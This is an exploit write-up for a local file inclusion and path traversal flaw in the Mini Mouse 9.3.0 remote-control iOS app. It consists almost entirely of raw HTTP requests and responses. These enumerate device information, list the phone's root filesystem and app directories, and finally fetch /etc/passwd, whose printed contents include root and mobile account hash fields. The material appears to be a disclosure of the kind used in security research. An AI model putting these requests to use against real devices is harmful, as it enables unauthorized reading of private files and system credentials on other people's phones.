397 lines
No EOL
11 KiB
Text
397 lines
No EOL
11 KiB
Text
# Exploit Title: Mini Mouse 9.3.0 - Local File inclusion / Path Traversal
|
|
# Author: gosh
|
|
# Date: 05-04-2021
|
|
# Vendor Homepage: http://yodinfo.com
|
|
# Software Link: https://apps.apple.com/us/app/mini-mouse-remote-control/id914250948
|
|
# Version: 9.3.0
|
|
# Tested on: iPhone; iOS 14.4.2
|
|
|
|
GET /op=get_device_info HTTP/1.1
|
|
Host: 192.168.1.104:8039
|
|
Accept: */*
|
|
Accept-Language: en-TN;q=1, ar-TN;q=0.9, fr-TN;q=0.8
|
|
Connection: keep-alive
|
|
Accept-Encoding: gzip, deflate
|
|
User-Agent: MiniMouse/9.3.0 (iPhone; iOS 14.4.2; Scale/2.00)
|
|
Content-Length: 0
|
|
|
|
|
|
HTTP/1.1 200 OK
|
|
Server: bruce_wy/1.0.0
|
|
Access-Control-Allow-Methods: POST,GET,TRACE,OPTIONS
|
|
Access-Control-Allow-Headers: Content-Type,Origin,Accept
|
|
Access-Control-Allow-Origin: *
|
|
Access-Control-Allow-Credentials: true
|
|
P3P: CP=CAO PSA OUR
|
|
Content-Type: application/json
|
|
Content-Range: bytes 0-0/-1
|
|
|
|
{
|
|
"ret_code": 1,
|
|
"ret_msg": "success",
|
|
"data": {
|
|
"uuid": "7E07125B-61BE-4F12-820C-FA706C445219",
|
|
"model": "iPhone",
|
|
"sys_name": "iOS",
|
|
"sys_version": "14.4.2",
|
|
"battery_state": 0,
|
|
"battery_level": -1,
|
|
"memery_total_size": 2983772160,
|
|
"device_name": "mobile",
|
|
"user_name": "iPhone",
|
|
"pwd": "",
|
|
"dir_user": "/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Documents/Download",
|
|
"dir_doc": "/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Documents",
|
|
"dir_desktop": "/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Desktop",
|
|
"sys_type": 3
|
|
}
|
|
}
|
|
|
|
|
|
|
|
-------------------------------------------------------------------------------------
|
|
|
|
|
|
POST /op=get_file_list HTTP/1.1
|
|
Host: 192.168.1.104:8039
|
|
Accept: */*
|
|
Accept-Language: en-TN;q=1, ar-TN;q=0.9, fr-TN;q=0.8
|
|
Connection: keep-alive
|
|
Accept-Encoding: gzip, deflate
|
|
User-Agent: MiniMouse/9.3.0 (iPhone; iOS 14.4.2; Scale/2.00)
|
|
Content-Length: 0
|
|
|
|
|
|
HTTP/1.1 200 OK
|
|
Server: bruce_wy/1.0.0
|
|
Access-Control-Allow-Methods: POST,GET,TRACE,OPTIONS
|
|
Access-Control-Allow-Headers: Content-Type,Origin,Accept
|
|
Access-Control-Allow-Origin: *
|
|
Access-Control-Allow-Credentials: true
|
|
P3P: CP=CAO PSA OUR
|
|
Content-Type: application/json
|
|
Content-Range: bytes 0-0/-1
|
|
|
|
{
|
|
"ret_code": 1,
|
|
"ret_msg": "success",
|
|
"data": {
|
|
"list": [{
|
|
"path": "//usr",
|
|
"is_local": true,
|
|
"is_hide": false,
|
|
"is_floder": true,
|
|
"name": "usr",
|
|
"name_display": "usr",
|
|
"file_size": 288,
|
|
"create_time": 0,
|
|
"update_time": 0,
|
|
"sys_type": 3
|
|
}, {
|
|
"path": "//bin",
|
|
"is_local": true,
|
|
"is_hide": false,
|
|
"is_floder": true,
|
|
"name": "bin",
|
|
"name_display": "bin",
|
|
"file_size": 128,
|
|
"create_time": 0,
|
|
"update_time": 0,
|
|
"sys_type": 3
|
|
}, {
|
|
"path": "//sbin",
|
|
"is_local": true,
|
|
"is_hide": false,
|
|
"is_floder": true,
|
|
"name": "sbin",
|
|
"name_display": "sbin",
|
|
"file_size": 544,
|
|
"create_time": 0,
|
|
"update_time": 0,
|
|
"sys_type": 3
|
|
}, {
|
|
"path": "//.file",
|
|
"is_local": true,
|
|
"is_hide": true,
|
|
"is_floder": false,
|
|
"name": ".file",
|
|
"name_display": ".file",
|
|
"file_size": 0,
|
|
"create_time": 0,
|
|
"update_time": 0,
|
|
"sys_type": 3
|
|
}, {
|
|
"path": "//etc",
|
|
"is_local": true,
|
|
"is_hide": false,
|
|
"is_floder": true,
|
|
"name": "etc",
|
|
"name_display": "etc",
|
|
"file_size": 11,
|
|
"create_time": 1577865.600000,
|
|
"update_time": 1577865.600000,
|
|
"sys_type": 3
|
|
}, {
|
|
"path": "//System",
|
|
"is_local": true,
|
|
"is_hide": false,
|
|
"is_floder": true,
|
|
"name": "System",
|
|
"name_display": "System",
|
|
"file_size": 128,
|
|
"create_time": 0,
|
|
"update_time": 0,
|
|
"sys_type": 3
|
|
}, {
|
|
"path": "//var",
|
|
"is_local": true,
|
|
"is_hide": false,
|
|
"is_floder": true,
|
|
"name": "var",
|
|
"name_display": "var",
|
|
"file_size": 11,
|
|
"create_time": 1577865.600000,
|
|
"update_time": 1577865.600000,
|
|
"sys_type": 3
|
|
}, {
|
|
"path": "//Library",
|
|
"is_local": true,
|
|
"is_hide": false,
|
|
"is_floder": true,
|
|
"name": "Library",
|
|
"name_display": "Library",
|
|
"file_size": 672,
|
|
"create_time": 0,
|
|
"update_time": 0,
|
|
"sys_type": 3
|
|
}, {
|
|
"path": "//private",
|
|
"is_local": true,
|
|
"is_hide": false,
|
|
"is_floder": true,
|
|
"name": "private",
|
|
"name_display": "private",
|
|
"file_size": 224,
|
|
"create_time": 0,
|
|
"update_time": 0,
|
|
"sys_type": 3
|
|
}, {
|
|
"path": "//dev",
|
|
"is_local": true,
|
|
"is_hide": false,
|
|
"is_floder": true,
|
|
"name": "dev",
|
|
"name_display": "dev",
|
|
"file_size": 1395,
|
|
"create_time": 0,
|
|
"update_time": 0,
|
|
"sys_type": 3
|
|
}, {
|
|
"path": "//.ba",
|
|
"is_local": true,
|
|
"is_hide": true,
|
|
"is_floder": true,
|
|
"name": ".ba",
|
|
"name_display": ".ba",
|
|
"file_size": 64,
|
|
"create_time": 0,
|
|
"update_time": 0,
|
|
"sys_type": 3
|
|
}, {
|
|
"path": "//.mb",
|
|
"is_local": true,
|
|
"is_hide": true,
|
|
"is_floder": true,
|
|
"name": ".mb",
|
|
"name_display": ".mb",
|
|
"file_size": 64,
|
|
"create_time": 0,
|
|
"update_time": 0,
|
|
"sys_type": 3
|
|
}, {
|
|
"path": "//tmp",
|
|
"is_local": true,
|
|
"is_hide": false,
|
|
"is_floder": true,
|
|
"name": "tmp",
|
|
"name_display": "tmp",
|
|
"file_size": 15,
|
|
"create_time": 1577865.600000,
|
|
"update_time": 1577865.600000,
|
|
"sys_type": 3
|
|
}, {
|
|
"path": "//Applications",
|
|
"is_local": true,
|
|
"is_hide": false,
|
|
"is_floder": true,
|
|
"name": "Applications",
|
|
"name_display": "Applications",
|
|
"file_size": 3296,
|
|
"create_time": 0,
|
|
"update_time": 0,
|
|
"sys_type": 3
|
|
}, {
|
|
"path": "//Developer",
|
|
"is_local": true,
|
|
"is_hide": false,
|
|
"is_floder": true,
|
|
"name": "Developer",
|
|
"name_display": "Developer",
|
|
"file_size": 64,
|
|
"create_time": 0,
|
|
"update_time": 0,
|
|
"sys_type": 3
|
|
}, {
|
|
"path": "//cores",
|
|
"is_local": true,
|
|
"is_hide": false,
|
|
"is_floder": true,
|
|
"name": "cores",
|
|
"name_display": "cores",
|
|
"file_size": 64,
|
|
"create_time": 0,
|
|
"update_time": 0,
|
|
"sys_type": 3
|
|
}]
|
|
}
|
|
}
|
|
|
|
-------------------------
|
|
using the data found:
|
|
/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Documents/Download
|
|
|
|
POST /op=get_file_list HTTP/1.1
|
|
Host: 192.168.1.104:8039
|
|
Accept: */*
|
|
Accept-Language: en-TN;q=1, ar-TN;q=0.9, fr-TN;q=0.8
|
|
Connection: keep-alive
|
|
Accept-Encoding: gzip, deflate
|
|
User-Agent: MiniMouse/9.3.0 (iPhone; iOS 14.4.2; Scale/2.00)
|
|
Content-Length: 101
|
|
|
|
{"path": "/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Documents/"}
|
|
|
|
|
|
HTTP/1.1 200 OK
|
|
Server: bruce_wy/1.0.0
|
|
Access-Control-Allow-Methods: POST,GET,TRACE,OPTIONS
|
|
Access-Control-Allow-Headers: Content-Type,Origin,Accept
|
|
Access-Control-Allow-Origin: *
|
|
Access-Control-Allow-Credentials: true
|
|
P3P: CP=CAO PSA OUR
|
|
Content-Type: application/json
|
|
Content-Range: bytes 0-0/-1
|
|
|
|
{
|
|
"ret_code": 1,
|
|
"ret_msg": "success",
|
|
"data": {
|
|
"list": [{
|
|
"path": "/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Documents//GDT",
|
|
"is_local": true,
|
|
"is_hide": false,
|
|
"is_floder": true,
|
|
"name": "GDT",
|
|
"name_display": "GDT",
|
|
"file_size": 96,
|
|
"create_time": 1617228.400302,
|
|
"update_time": 1617228.400302,
|
|
"sys_type": 3
|
|
}, {
|
|
"path": "/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Documents//input_photo.jpg",
|
|
"is_local": true,
|
|
"is_hide": false,
|
|
"is_floder": false,
|
|
"name": "input_photo.jpg",
|
|
"name_display": "input_photo.jpg",
|
|
"file_size": 6141491,
|
|
"create_time": 1617583.738397,
|
|
"update_time": 1617583.738402,
|
|
"sys_type": 3
|
|
}, {
|
|
"path": "/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Documents//Ico",
|
|
"is_local": true,
|
|
"is_hide": false,
|
|
"is_floder": true,
|
|
"name": "Ico",
|
|
"name_display": "Ico",
|
|
"file_size": 64,
|
|
"create_time": 1617583.334913,
|
|
"update_time": 1617583.334913,
|
|
"sys_type": 3
|
|
}, {
|
|
"path": "/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Documents//Download",
|
|
"is_local": true,
|
|
"is_hide": false,
|
|
"is_floder": true,
|
|
"name": "Download",
|
|
"name_display": "Download",
|
|
"file_size": 64,
|
|
"create_time": 1617228.371587,
|
|
"update_time": 1617228.371587,
|
|
"sys_type": 3
|
|
}]
|
|
}
|
|
}
|
|
|
|
----------------------------------------------------------------------
|
|
|
|
GET /file=/etc/passwd HTTP/1.1
|
|
Host: 192.168.1.104:8039
|
|
Accept: */*
|
|
Accept-Language: en-TN;q=1, ar-TN;q=0.9, fr-TN;q=0.8
|
|
Connection: keep-alive
|
|
Accept-Encoding: gzip, deflate
|
|
User-Agent: MiniMouse/9.3.0 (iPhone; iOS 14.4.2; Scale/2.00)
|
|
Content-Length: 4
|
|
|
|
{}
|
|
|
|
|
|
HTTP/1.1 200 OK
|
|
Server: bruce_wy/1.0.0
|
|
Access-Control-Allow-Methods: POST,GET,TRACE,OPTIONS
|
|
Access-Control-Allow-Headers: Content-Type,Origin,Accept
|
|
Access-Control-Allow-Origin: *
|
|
Access-Control-Allow-Credentials: true
|
|
P3P: CP=CAO PSA OUR
|
|
Content-Type: application/octet-stream
|
|
Content-Range: bytes 0-0/2018
|
|
Content-Length : 2018
|
|
|
|
##
|
|
# User Database
|
|
#
|
|
# This file is the authoritative user database.
|
|
##
|
|
|
|
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
|
|
root:/smx7MYTQIi2M:0:0:System Administrator:/var/root:/bin/sh
|
|
mobile:/smx7MYTQIi2M:501:501:Mobile User:/var/mobile:/bin/sh
|
|
daemon:*:1:1:System Services:/var/root:/usr/bin/false
|
|
_ftp:*:98:-2:FTP Daemon:/var/empty:/usr/bin/false
|
|
_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false
|
|
_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false
|
|
_installd:*:33:33:Install Daemon:/var/installd:/usr/bin/false
|
|
_neagent:*:34:34:NEAgent:/var/empty:/usr/bin/false
|
|
_ifccd:*:35:35:ifccd:/var/empty:/usr/bin/false
|
|
_securityd:*:64:64:securityd:/var/empty:/usr/bin/false
|
|
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
|
|
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
|
|
_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false
|
|
_distnote:*:241:241:Distributed Notifications:/var/empty:/usr/bin/false
|
|
_astris:*:245:245:Astris Services:/var/db/astris:/usr/bin/false
|
|
_ondemand:*:249:249:On Demand Resource Daemon:/var/db/ondemand:/usr/bin/false
|
|
_findmydevice:*:254:254:Find My Device Daemon:/var/db/findmydevice:/usr/bin/false
|
|
_datadetectors:*:257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false
|
|
_captiveagent:*:258:258:captiveagent:/var/empty:/usr/bin/false
|
|
_analyticsd:*:263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false
|
|
_timed:*:266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false
|
|
_gpsd:*:267:267:GPS Daemon:/var/db/gpsd:/usr/bin/false
|
|
_reportmemoryexception:*:269:269:ReportMemoryException:/var/empty:/usr/bin/false
|
|
_diskimagesiod:*:271:271:DiskImages IO Daemon:/var/db/diskimagesiod:/usr/bin/false
|
|
_logd:*:272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false
|
|
_iconservices:*:276:276:Icon services:/var/empty:/usr/bin/false
|
|
_fud:*:278:278:Firmware Update Daemon:/var/db/fud:/usr/bin/false
|
|
_knowledgegraphd:*:279:279:Knowledge Graph Daemon:/var/db/knowledgegraphd:/usr/bin/false
|
|
_coreml:*:280:280:CoreML Services:/var/empty:/usr/bin/false |